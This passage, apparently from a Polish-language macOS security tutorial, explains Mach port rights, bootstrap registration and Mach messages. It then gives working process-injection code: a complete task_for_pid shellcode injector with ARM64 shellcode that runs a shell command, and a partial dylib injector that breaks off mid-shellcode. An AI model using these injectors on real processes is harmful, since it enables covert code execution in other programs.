Prawa portu, które definiują, jakie operacje może wykonać zadanie, są kluczowe dla tej komunikacji. Możliwe **prawa portu** to ([definicje stąd](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
- **Prawo odbioru**, które pozwala na odbieranie wiadomości wysyłanych do portu. Porty Mach są kolejkami MPSC (wielu producentów, jeden konsument), co oznacza, że w całym systemie może być tylko **jedno prawo odbioru dla każdego portu** (w przeciwieństwie do rur, gdzie wiele procesów może posiadać deskryptory plików do końca odczytu jednej rury).
|
||||
- **Zadanie z prawem odbioru** może odbierać wiadomości i **tworzyć prawa wysyłania**, co pozwala mu na wysyłanie wiadomości. Początkowo tylko **własne zadanie ma prawo odbioru nad swoim portem**.
|
||||
- **Prawo wysyłania**, które pozwala na wysyłanie wiadomości do portu.
|
||||
- Prawo wysyłania może być **klonowane**, więc zadanie posiadające prawo wysyłania może sklonować to prawo i **przyznać je trzeciemu zadaniu**.
|
||||
- **Prawo wysyłania raz**, które pozwala na wysłanie jednej wiadomości do portu, a następnie znika.
|
||||
- **Prawo zestawu portów**, które oznacza _zestaw portów_ zamiast pojedynczego portu. Usunięcie wiadomości z zestawu portów usuwa wiadomość z jednego z portów, które zawiera. Zestawy portów mogą być używane do nasłuchiwania na kilku portach jednocześnie, podobnie jak `select`/`poll`/`epoll`/`kqueue` w Unixie.
|
||||
- **Martwa nazwa**, która nie jest rzeczywistym prawem portu, ale jedynie miejscem. Gdy port zostaje zniszczony, wszystkie istniejące prawa portu do tego portu zamieniają się w martwe nazwy.
|
||||
|
||||
**Zadania mogą przekazywać prawa WYSYŁANIA innym**, umożliwiając im wysyłanie wiadomości z powrotem. **Prawa WYSYŁANIA mogą być również klonowane, więc zadanie może skopiować i przekazać prawo trzeciemu zadaniu**. To, w połączeniu z pośrednim procesem znanym jako **serwer bootstrap**, umożliwia skuteczną komunikację między zadaniami.
|
||||
|
||||
### File Ports
|
||||
|
||||
Porty plikowe pozwalają na enkapsulację deskryptorów plików w portach Mac (używając praw portu Mach). Możliwe jest utworzenie `fileport` z danego FD za pomocą `fileport_makeport` i utworzenie FD z fileportu za pomocą `fileport_makefd`.
|
||||
|
||||
### Establishing a communication
|
||||
|
||||
#### Steps:
|
||||
|
||||
Jak wspomniano, aby nawiązać kanał komunikacyjny, zaangażowany jest **serwer bootstrap** (**launchd** w mac).
|
||||
|
||||
1. Zadanie **A** inicjuje **nowy port**, uzyskując w procesie **prawo ODBIORU**.
|
||||
2. Zadanie **A**, będąc posiadaczem prawa ODBIORU, **generuje prawo WYSYŁANIA dla portu**.
|
||||
3. Zadanie **A** nawiązuje **połączenie** z **serwerem bootstrap**, podając **nazwę usługi portu** i **prawo WYSYŁANIA** poprzez procedurę znaną jako rejestracja bootstrap.
|
||||
4. Zadanie **B** wchodzi w interakcję z **serwerem bootstrap**, aby wykonać bootstrap **wyszukiwanie nazwy usługi**. Jeśli się powiedzie, **serwer duplikuje prawo WYSYŁANIA** otrzymane od Zadania A i **przesyła je do Zadania B**.
|
||||
5. Po uzyskaniu prawa WYSYŁANIA, Zadanie **B** jest w stanie **sformułować** **wiadomość** i wysłać ją **do Zadania A**.
|
||||
6. W przypadku komunikacji dwukierunkowej zazwyczaj zadanie **B** generuje nowy port z **prawem ODBIORU** i **prawem WYSYŁANIA**, a następnie przekazuje **prawo WYSYŁANIA do Zadania A**, aby mogło wysyłać wiadomości do ZADANIA B (komunikacja dwukierunkowa).
|
||||
|
||||
Serwer bootstrap **nie może uwierzytelnić** nazwy usługi, którą twierdzi zadanie. Oznacza to, że **zadanie** może potencjalnie **podszywać się pod dowolne zadanie systemowe**, na przykład fałszywie **twierdząc, że jest nazwą usługi autoryzacji** i następnie zatwierdzając każdą prośbę.
|
||||
|
||||
Następnie Apple przechowuje **nazwy usług dostarczanych przez system** w zabezpieczonych plikach konfiguracyjnych, znajdujących się w **katalogach chronionych przez SIP**: `/System/Library/LaunchDaemons` i `/System/Library/LaunchAgents`. Obok każdej nazwy usługi, **przechowywana jest również powiązana binarka**. Serwer bootstrap utworzy i zachowa **prawo ODBIORU dla każdej z tych nazw usług**.
|
||||
|
||||
Dla tych zdefiniowanych usług, **proces wyszukiwania różni się nieco**. Gdy nazwa usługi jest wyszukiwana, launchd uruchamia usługę dynamicznie. Nowy przepływ pracy wygląda następująco:
|
||||
|
||||
- Zadanie **B** inicjuje bootstrap **wyszukiwanie** dla nazwy usługi.
|
||||
- **launchd** sprawdza, czy zadanie działa, a jeśli nie, **uruchamia** je.
|
||||
- Zadanie **A** (usługa) wykonuje **sprawdzenie bootstrap**. Tutaj serwer **bootstrap** tworzy prawo WYSYŁANIA, zachowuje je i **przekazuje prawo ODBIORU do Zadania A**.
|
||||
- launchd duplikuje **prawo WYSYŁANIA i wysyła je do Zadania B**.
|
||||
- Zadanie **B** generuje nowy port z **prawem ODBIORU** i **prawem WYSYŁANIA**, a następnie przekazuje **prawo WYSYŁANIA do Zadania A** (usługa), aby mogło wysyłać wiadomości do ZADANIA B (komunikacja dwukierunkowa).
|
||||
|
||||
Jednak ten proces dotyczy tylko zdefiniowanych zadań systemowych. Zadania nie-systemowe nadal działają zgodnie z opisem pierwotnym, co może potencjalnie umożliwić podszywanie się.
|
||||
|
||||
### A Mach Message
|
||||
|
||||
[Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
Funkcja `mach_msg`, zasadniczo wywołanie systemowe, jest wykorzystywana do wysyłania i odbierania wiadomości Mach. Funkcja wymaga, aby wiadomość do wysłania była pierwszym argumentem. Ta wiadomość musi zaczynać się od struktury `mach_msg_header_t`, a następnie zawierać rzeczywistą treść wiadomości. Struktura jest zdefiniowana w następujący sposób:
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
mach_msg_size_t msgh_size;
|
||||
mach_port_t msgh_remote_port;
|
||||
mach_port_t msgh_local_port;
|
||||
mach_port_name_t msgh_voucher_port;
|
||||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
Procesy posiadające _**prawo odbioru**_ mogą odbierać wiadomości na porcie Mach. Z kolei **nadający** otrzymują _**prawo wysyłania**_ lub _**prawo wysyłania-jednorazowego**_. Prawo wysyłania-jednorazowego jest przeznaczone wyłącznie do wysyłania pojedynczej wiadomości, po czym staje się nieważne.
|
||||
|
||||
Aby osiągnąć łatwą **komunikację dwukierunkową**, proces może określić **port mach** w nagłówku **wiadomości mach** zwanym _portem odpowiedzi_ (**`msgh_local_port`**), gdzie **odbiorca** wiadomości może **wysłać odpowiedź** na tę wiadomość. Flagi bitowe w **`msgh_bits`** mogą być używane do **wskazania**, że **prawo wysyłania-jednorazowego** powinno być uzyskane i przeniesione dla tego portu (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
|
||||
> [!TIP]
|
||||
> Zauważ, że ten rodzaj komunikacji dwukierunkowej jest używany w wiadomościach XPC, które oczekują odpowiedzi (`xpc_connection_send_message_with_reply` i `xpc_connection_send_message_with_reply_sync`). Ale **zwykle tworzone są różne porty**, jak wyjaśniono wcześniej, aby stworzyć komunikację dwukierunkową.
|
||||
|
||||
Inne pola nagłówka wiadomości to:
|
||||
|
||||
- `msgh_size`: rozmiar całego pakietu.
|
||||
- `msgh_remote_port`: port, na który ta wiadomość jest wysyłana.
|
||||
- `msgh_voucher_port`: [vouchery mach](https://robert.sesek.com/2023/6/mach_vouchers.html).
|
||||
- `msgh_id`: ID tej wiadomości, które jest interpretowane przez odbiorcę.
|
||||
|
||||
> [!CAUTION]
|
||||
> Zauważ, że **wiadomości mach są wysyłane przez \_port mach**\_, który jest **jednym odbiorcą**, **wieloma nadawcami** kanałem komunikacyjnym wbudowanym w jądro mach. **Wiele procesów** może **wysyłać wiadomości** do portu mach, ale w danym momencie tylko **jeden proces może odczytać** z niego.
|
||||
|
||||
### Wyliczanie portów
|
||||
```bash
|
||||
lsmp -p <pid>
|
||||
```
|
||||
Możesz zainstalować to narzędzie w iOS, pobierając je z [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)
|
||||
|
||||
### Przykład kodu
|
||||
|
||||
Zauważ, jak **nadawca** **przydziela** port, tworzy **prawo do wysyłania** dla nazwy `org.darlinghq.example` i wysyła je do **serwera bootstrap**, podczas gdy nadawca prosił o **prawo do wysyłania** tej nazwy i użył go do **wysłania wiadomości**.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="receiver.c"}}
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc receiver.c -o receiver
|
||||
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
int main() {
|
||||
|
||||
// Create a new port.
|
||||
mach_port_t port;
|
||||
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_port_allocate() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("mach_port_allocate() created port right name %d\n", port);
|
||||
|
||||
|
||||
// Give us a send right to this port, in addition to the receive right.
|
||||
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("mach_port_insert_right() inserted a send right\n");
|
||||
|
||||
|
||||
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
|
||||
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("bootstrap_register() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("bootstrap_register()'ed our port\n");
|
||||
|
||||
|
||||
// Wait for a message.
|
||||
struct {
|
||||
mach_msg_header_t header;
|
||||
char some_text[10];
|
||||
int some_number;
|
||||
mach_msg_trailer_t trailer;
|
||||
} message;
|
||||
|
||||
kr = mach_msg(
|
||||
&message.header, // Same as (mach_msg_header_t *) &message.
|
||||
MACH_RCV_MSG, // Options. We're receiving a message.
|
||||
0, // Size of the message being sent, if sending.
|
||||
sizeof(message), // Size of the buffer for receiving.
|
||||
port, // The port to receive a message on.
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
||||
);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_msg() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("Got a message\n");
|
||||
|
||||
message.some_text[9] = 0;
|
||||
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="sender.c"}}
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc sender.c -o sender
|
||||
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
int main() {
|
||||
|
||||
// Lookup the receiver port using the bootstrap server.
|
||||
mach_port_t port;
|
||||
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("bootstrap_look_up() returned port right name %d\n", port);
|
||||
|
||||
|
||||
// Construct our message.
|
||||
struct {
|
||||
mach_msg_header_t header;
|
||||
char some_text[10];
|
||||
int some_number;
|
||||
} message;
|
||||
|
||||
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
|
||||
message.header.msgh_remote_port = port;
|
||||
message.header.msgh_local_port = MACH_PORT_NULL;
|
||||
|
||||
strncpy(message.some_text, "Hello", sizeof(message.some_text));
|
||||
message.some_number = 35;
|
||||
|
||||
// Send the message.
|
||||
kr = mach_msg(
|
||||
&message.header, // Same as (mach_msg_header_t *) &message.
|
||||
MACH_SEND_MSG, // Options. We're sending a message.
|
||||
sizeof(message), // Size of the message being sent.
|
||||
0, // Size of the buffer for receiving.
|
||||
MACH_PORT_NULL, // A port to receive a message on, if receiving.
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
||||
);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_msg() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("Sent a message\n");
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### Porty uprzywilejowane
|
||||
|
||||
- **Port hosta**: Jeśli proces ma **przywilej wysyłania** na tym porcie, może uzyskać **informacje** o **systemie** (np. `host_processor_info`).
|
||||
- **Port uprzywilejowany hosta**: Proces z prawem **wysyłania** na tym porcie może wykonywać **uprzywilejowane akcje**, takie jak ładowanie rozszerzenia jądra. **Proces musi być rootem**, aby uzyskać to uprawnienie.
|
||||
- Ponadto, aby wywołać API **`kext_request`**, potrzebne są inne uprawnienia **`com.apple.private.kext*`**, które są przyznawane tylko binarnym plikom Apple.
|
||||
- **Port nazwy zadania:** Nieuprzywilejowana wersja _portu zadania_. Odnosi się do zadania, ale nie pozwala na jego kontrolowanie. Jedyną rzeczą, która wydaje się być dostępna przez niego, jest `task_info()`.
|
||||
- **Port zadania** (znany również jako port jądra)**:** Z uprawnieniem wysyłania na tym porcie możliwe jest kontrolowanie zadania (odczyt/zapis pamięci, tworzenie wątków...).
|
||||
- Wywołaj `mach_task_self()`, aby **uzyskać nazwę** dla tego portu dla wywołującego zadania. Ten port jest tylko **dziedziczony** przez **`exec()`**; nowe zadanie utworzone za pomocą `fork()` otrzymuje nowy port zadania (w szczególnym przypadku, zadanie również otrzymuje nowy port zadania po `exec()` w binarnym pliku suid). Jedynym sposobem na uruchomienie zadania i uzyskanie jego portu jest wykonanie ["tańca wymiany portów"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) podczas wykonywania `fork()`.
|
||||
- Oto ograniczenia dostępu do portu (z `macos_task_policy` z binarnego pliku `AppleMobileFileIntegrity`):
|
||||
- Jeśli aplikacja ma **uprawnienie `com.apple.security.get-task-allow`**, procesy od **tego samego użytkownika mogą uzyskać dostęp do portu zadania** (zwykle dodawane przez Xcode do debugowania). Proces **notaryzacji** nie pozwoli na to w wersjach produkcyjnych.
|
||||
- Aplikacje z uprawnieniem **`com.apple.system-task-ports`** mogą uzyskać **port zadania dla dowolnego** procesu, z wyjątkiem jądra. W starszych wersjach nazywało się to **`task_for_pid-allow`**. To uprawnienie jest przyznawane tylko aplikacjom Apple.
|
||||
- **Root może uzyskać dostęp do portów zadań** aplikacji **nie** skompilowanych z **wzmocnionym** czasem wykonywania (i nie od Apple).
|
||||
|
||||
### Wstrzykiwanie shellcode w wątek za pomocą portu zadania
|
||||
|
||||
Możesz pobrać shellcode z:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="mysleep.m"}}
|
||||
```objectivec
|
||||
// clang -framework Foundation mysleep.m -o mysleep
|
||||
// codesign --entitlements entitlements.plist -s - mysleep
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
double performMathOperations() {
|
||||
double result = 0;
|
||||
for (int i = 0; i < 10000; i++) {
|
||||
result += sqrt(i) * tan(i) - cos(i);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
|
||||
processIdentifier]);
|
||||
while (true) {
|
||||
[NSThread sleepForTimeInterval:5];
|
||||
|
||||
performMathOperations(); // Silent action
|
||||
|
||||
[NSThread sleepForTimeInterval:5];
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="entitlements.plist"}}
|
||||
```xml
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>com.apple.security.get-task-allow</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
**Skompiluj** poprzedni program i dodaj **uprawnienia**, aby móc wstrzykiwać kod z tym samym użytkownikiem (w przeciwnym razie będziesz musiał użyć **sudo**).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>sc_injector.m</summary>
|
||||
```objectivec
|
||||
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AppKit/AppKit.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <sys/sysctl.h>
|
||||
|
||||
|
||||
#ifdef __arm64__
|
||||
|
||||
kern_return_t mach_vm_allocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
int flags
|
||||
);
|
||||
|
||||
kern_return_t mach_vm_write
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt
|
||||
);
|
||||
|
||||
|
||||
#else
|
||||
#include <mach/mach_vm.h>
|
||||
#endif
|
||||
|
||||
|
||||
#define STACK_SIZE 65536
|
||||
#define CODE_SIZE 128
|
||||
|
||||
// ARM64 shellcode that executes touch /tmp/lalala
|
||||
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
|
||||
|
||||
|
||||
int inject(pid_t pid){
|
||||
|
||||
task_t remoteTask;
|
||||
|
||||
// Get access to the task port of the process we want to inject into
|
||||
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
|
||||
return (-1);
|
||||
}
|
||||
else{
|
||||
printf("Gathered privileges over the task port of process: %d\n", pid);
|
||||
}
|
||||
|
||||
// Allocate memory for the stack
|
||||
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
|
||||
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
|
||||
}
|
||||
|
||||
// Allocate memory for the code
|
||||
remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
|
||||
|
||||
// Write the shellcode to the allocated memory
|
||||
kr = mach_vm_write(remoteTask, // Task port
|
||||
remoteCode64, // Virtual Address (Destination)
|
||||
(vm_address_t) injectedCode, // Source
|
||||
0xa9); // Length of the source
|
||||
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
|
||||
// Set the permissions on the allocated code memory
|
||||
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// Set the permissions on the allocated stack memory
|
||||
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// Create thread to run shellcode
|
||||
struct arm_unified_thread_state remoteThreadState64;
|
||||
thread_act_t remoteThread;
|
||||
|
||||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||
|
||||
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
|
||||
//remoteStack64 -= 8; // need alignment of 16
|
||||
|
||||
const char* p = (const char*) remoteCode64;
|
||||
|
||||
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
|
||||
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
||||
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
||||
|
||||
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
|
||||
|
||||
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
||||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
return (0);
|
||||
}
|
||||
|
||||
pid_t pidForProcessName(NSString *processName) {
|
||||
NSArray *arguments = @[@"pgrep", processName];
|
||||
NSTask *task = [[NSTask alloc] init];
|
||||
[task setLaunchPath:@"/usr/bin/env"];
|
||||
[task setArguments:arguments];
|
||||
|
||||
NSPipe *pipe = [NSPipe pipe];
|
||||
[task setStandardOutput:pipe];
|
||||
|
||||
NSFileHandle *file = [pipe fileHandleForReading];
|
||||
|
||||
[task launch];
|
||||
|
||||
NSData *data = [file readDataToEndOfFile];
|
||||
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
|
||||
|
||||
return (pid_t)[string integerValue];
|
||||
}
|
||||
|
||||
BOOL isStringNumeric(NSString *str) {
|
||||
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
|
||||
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
|
||||
return r.location == NSNotFound;
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
if (argc < 2) {
|
||||
NSLog(@"Usage: %s <pid or process name>", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
NSString *arg = [NSString stringWithUTF8String:argv[1]];
|
||||
pid_t pid;
|
||||
|
||||
if (isStringNumeric(arg)) {
|
||||
pid = [arg intValue];
|
||||
} else {
|
||||
pid = pidForProcessName(arg);
|
||||
if (pid == 0) {
|
||||
NSLog(@"Error: Process named '%@' not found.", arg);
|
||||
return 1;
|
||||
}
|
||||
else{
|
||||
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
|
||||
}
|
||||
}
|
||||
|
||||
inject(pid);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
./inject <pi or string>
|
||||
```
|
||||
### Wstrzykiwanie Dylib w wątku za pomocą portu zadania
|
||||
|
||||
W macOS **wątki** mogą być manipulowane za pomocą **Mach** lub używając **posix `pthread` api**. Wątek, który wygenerowaliśmy w poprzednim wstrzyknięciu, został wygenerowany za pomocą api Mach, więc **nie jest zgodny z posix**.
|
||||
|
||||
Możliwe było **wstrzyknięcie prostego shellcode** do wykonania polecenia, ponieważ **nie musiał działać z api zgodnymi z posix**, tylko z Mach. **Bardziej złożone wstrzyknięcia** wymagałyby, aby **wątek** był również **zgodny z posix**.
|
||||
|
||||
Dlatego, aby **ulepszyć wątek**, powinien on wywołać **`pthread_create_from_mach_thread`**, co **utworzy ważny pthread**. Następnie ten nowy pthread mógłby **wywołać dlopen**, aby **załadować dylib** z systemu, więc zamiast pisać nowy shellcode do wykonywania różnych działań, można załadować niestandardowe biblioteki.
|
||||
|
||||
Możesz znaleźć **przykładowe dyliby** w (na przykład ten, który generuje log, a następnie możesz go odsłuchiwać):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
{{#endref}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>dylib_injector.m</summary>
|
||||
```objectivec
|
||||
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
|
||||
#include <dlfcn.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach/error.h>
|
||||
#include <errno.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <pthread.h>
|
||||
|
||||
|
||||
#ifdef __arm64__
|
||||
//#include "mach/arm/thread_status.h"
|
||||
|
||||
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
|
||||
// And I say, bullshit.
|
||||
kern_return_t mach_vm_allocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
int flags
|
||||
);
|
||||
|
||||
kern_return_t mach_vm_write
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt
|
||||
);
|
||||
|
||||
|
||||
#else
|
||||
#include <mach/mach_vm.h>
|
||||
#endif
|
||||
|
||||
|
||||
#define STACK_SIZE 65536
|
||||
#define CODE_SIZE 128
|
||||
|
||||
|
||||
char injectedCode[] =
|
||||
|
||||
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
|
||||
|
||||
// Call pthread_set_self
|
||||
|
||||
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
|
||||
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
|
||||
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
|
||||
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
|
||||
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
|
||||
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
|
||||
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
|
||||
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
|
||||
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
|
||||
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
|
||||
"\x00\x00\x00\x14" // loop: b loop ; loop forever
|
||||
|
||||
// Call dlopen with the path to the library
|
||||
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
|
||||
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
|
||||
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
|
||||
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
|
||||
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
|
||||
|
||||
// Call pthread_exit
|
||||
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
|
||||
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
|
||||
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
|
||||
|
||||
"PTHRDCRT" // <-
|
||||
"PTHRDEXT" // <-
|
||||
"DLOPEN__" // <-
|
||||
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
